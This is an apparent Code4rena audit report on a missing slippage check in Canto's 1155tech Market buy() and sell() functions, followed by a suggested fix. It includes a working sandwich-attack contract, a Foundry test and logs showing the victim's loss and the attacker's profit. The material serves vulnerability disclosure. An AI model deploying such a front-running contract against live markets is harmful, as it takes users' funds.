Canto Application Specific Dollars and Bonding Curves for 1155s - 0x175's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 101/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L147-L169 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L171-L198

Vulnerability details

Bug Description

When a bonding curve is created the priceIncrease is set in the constructor, LinearBondingCurve.sol#L7-L12:

uint256 public immutable priceIncrease;

    constructor(uint256 _priceIncrease) {
        priceIncrease = _priceIncrease;
    }

The priceIncrease specifies the amount by which the price increases for each additional share, denominated in the smallest unit of the token i.e. for a token with 18 decimals, a priceIncrease of 1e18 means that for each additional share bought the price increases by 1 token. As per the overview:

1155tech allows to create arbitrary shares with an arbitrary bonding curve.

If an arbitrary bonding curve is created with a relatively high priceIncrease this makes buy() and sell() in Market.sol particularly susceptible to sandwich attacks due to the lack of protection e.g. a slippage mechanism.

Impact

Users that are exploited by sandwich attacks will consequently end up paying an artificially inflated price for shares, likely significantly higher than what they estimated. To add to this, if a user were to sell their shares after the attack, they would likely be doing so at a position of loss.

Proof of Concept

  1. Bob creates a bonding curve setting the priceIncrease as 50% per additional share (5e17 in this case).
  2. Bob wants to create a share, he calls createNewShare(), setting the _shareName as “bob”.
  3. Alice calls buy() passing the _id corresponding to the “bob” share, and 100 as the _amount.
  4. An adversary listening to the mempool for calls to buy() detects this, at which point they frontrun Alice’s transaction, also passing the relevant _id and _amount as 100 to buy().
  5. The adversary’s transaction is processed first, pushing the price of the shares up.
  6. Alice’s transaction is subsequently processed and she ends up buying the shares for significantly higher than she estimated. This pushes the price of the shares higher.
  7. The adversary sells their shares (backruns), capitalizing on the price increase caused by Alice.

Here is an example of what the malicious contract could look like:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

// Note: In the tes directory run: cast interface -n IMarket -o IMarket.sol -p 0.8.19 ../../out/Market.sol/Market.json
import { IMarket } from "./IMarket.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Malicious {
    IMarket public market;
    IERC20 public cnoteToken;
    uint256 public shareId;

    constructor(address _marketAddress, address _cnoteTokenAddress, uint256 _shareId) {
        market = IMarket(_marketAddress);
        cnoteToken = IERC20(_cnoteTokenAddress);
        shareId = _shareId;

        // Approve Market contract to spend CNOTE tokens
        cnoteToken.approve(_marketAddress, type(uint256).max);
    }

    function frontrun(uint256 amount) external {
        // Frontrun here
        market.buy(
            shareId, // _id
            amount // _amount
        );
    }

    function backrun() external {
        // Sell the shares after price increase
        uint256 tokenBalance = market.tokensByAddress(
            shareId, // id
            address(this) // address
        );
        market.sell(shareId, tokenBalance);
    }
}

Add the following contract to 2023-11-canto/1155tech-contracts/src/test/. I am not certain as to what the best method is to reproduce sandwich attacks, yet taking inspiration from this here is the Foundry test:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {Test} from "forge-std/Test.sol";
import {IERC20, ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {LinearBondingCurve} from "../bonding_curve/LinearBondingCurve.sol";
import {Market} from "../Market.sol";
import {Malicious} from "./Malicious.sol";

contract NOTE is ERC20 {
    constructor(string memory symbol, string memory name) ERC20(symbol, name) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

contract CNOTE is NOTE {
    address public underlying;
    uint256 public exchangeRateCurrent = 1e28;

    constructor(
        string memory symbol,
        string memory name,
        address _underlying
    ) NOTE(symbol, name) {
        underlying = _underlying;
    }

    function mint(uint256 amount) public returns (uint256 statusCode) {
        SafeERC20.safeTransferFrom(IERC20(underlying), msg.sender, address(this), amount);
        _mint(msg.sender, (amount * 1e28) / exchangeRateCurrent);
        statusCode = 0;
    }

    function redeemUnderlying(uint256 amount) public returns (uint256 statusCode) {
        SafeERC20.safeTransfer(IERC20(underlying), msg.sender, amount);
        _burn(msg.sender, (amount * exchangeRateCurrent) / 1e28);
        statusCode = 0;
    }

    function redeem(uint256 amount) public returns (uint256 statusCode) {
        SafeERC20.safeTransfer(IERC20(underlying), msg.sender, (amount * exchangeRateCurrent) / 1e28);
        _burn(msg.sender, amount);
        statusCode = 0;
    }

    function setExchangeRate(uint256 _exchangeRate) public {
        exchangeRateCurrent = _exchangeRate;
    }
}

contract Buy is Test {
    NOTE public note;
    CNOTE public cnote;
    LinearBondingCurve public linearbondingcurve;
    Market public market;
    Malicious public malicious;

    address public alice;
    address public bob;
    address public owner;

    function setUp() public {
        note = new NOTE("NOTE", "NOTE");
        cnote = new CNOTE("CNOTE", "CNOTE", address(note));

        bob = makeAddr("bob");
        alice = makeAddr("alice");

        deal(address(cnote), alice, 10_000 * 1e18);

        linearbondingcurve = new LinearBondingCurve(
            5e17 // Note: _priceIncrease representing 50%
        );

        market = new Market(
            "foo", // _uri
            address(cnote) //_paymentToken
        );

        vm.prank(alice);
        cnote.approve(address(market), type(uint256).max);

        // Whitelist the bonding curve
        market.changeBondingCurveAllowed(
            address(linearbondingcurve), // _bondingCurve
            true // _newState
        );

        // Whitelist Bob as a share creator
        market.changeShareCreatorWhitelist(
            bob, // _address
            true // _isWhitelisted
        );

        // Bob creates a share
        market.createNewShare(
            "bob", // _shareName
            address(linearbondingcurve), // _bondingCurve
            "foo" // _metadataURI
        );

        malicious = new Malicious(
            address(market), // _marketAddress
            address(cnote), // _cnoteTokenAddress
            1 // _shareId
        );

        deal(address(cnote), address(malicious), 10_000 * 1e18);
    }

    function _frontrun() internal {
        vm.prank(address(malicious));
        malicious.frontrun(100);
    }

    function _alice() internal {
        vm.prank(alice);
        market.buy(
            1, // _id
            100 // _amount
        );
    }

    function _backrun() internal {
        vm.prank(address(malicious));
        malicious.backrun();
    }

    function test_Buy() public {
        uint256 aliceBalaceBeforeAttack = cnote.balanceOf(alice);
        emit log_named_decimal_uint("Alice's CNOTE Balance Before", aliceBalaceBeforeAttack, 18);

        uint256 advesaryBalanceBeforeAttack = cnote.balanceOf(address(malicious));
        emit log_named_decimal_uint("Advesary's CNOTE Balance Before", advesaryBalanceBeforeAttack, 18);

        (uint256 buyPrice, uint256 buyFee) = market.getBuyPrice(
            1, // _id
            100  // _amount
        );

        emit log_named_decimal_uint("Alice's Estimated Buy Price", (buyPrice + buyFee), 18);

        _frontrun();
        _alice();
        _backrun();

        uint256 aliceBalanceAfterAttack = cnote.balanceOf(alice);
        emit log_named_decimal_uint("Alice's Actual Buy Price", (aliceBalaceBeforeAttack - aliceBalanceAfterAttack), 18);
        emit log_named_decimal_uint("Alice's CNOTE Balance After", cnote.balanceOf(alice), 18);

        uint256 advesaryBalanceAfterAttack = cnote.balanceOf(address(malicious));
        emit log_named_decimal_uint("Advesary's CNOTE Balance After", advesaryBalanceAfterAttack, 18);
        emit log_named_decimal_uint("Advesary's Exploit Amount", (advesaryBalanceAfterAttack - advesaryBalanceBeforeAttack), 18);
    }
}
forge test --match-path src/test/Buy.t.sol -vv
Running 1 test for src/test/Buy.t.sol:Buy
[PASS] test_Buy() (gas: 573142)
Logs:
  Alice's CNOTE Balance Before: 10000.000000000000000000
  Advesary's CNOTE Balance Before: 10000.000000000000000000
  Alice's Estimated Buy Price: 2572.566666666666665638
  Alice's Actual Buy Price: 7636.164285714285708966
  Alice's CNOTE Balance After: 2363.835714285714291034
  Advesary's CNOTE Balance After: 14896.295369047619051333
  Advesary's Exploit Amount: 4896.295369047619051333

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.05ms

Alice’s estimated buy price was 2572.56 tokens however she ended up paying 7636.16 tokens as a consequence of the sandwich attack. The adversary managed to exploit 4896.29 tokens.

Tools Used

Manual Review and Foundry.

Consider adding a slippage protection mechanism to buy() and sell(). Here is a simple example for instance, Market.sol#L147-L169:

	function buy(
	        uint256 _id,
		uint256 _amount,
+		uint256 _maxPrice
	) external {
	        require(shareData[_id].creator != msg.sender, "Creator cannot buy");
	        (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID
+		uint256 totalPrice = price + fee;
+		require(totalPrice <= maxPrice, "Price exceeds maximum limit");
-	        SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee);
+		SafeERC20.safeTransferFrom(token, msg.sender, address(this), totalPrice);
		// Rest of the function
	}

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T09:57:12Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:27:35Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter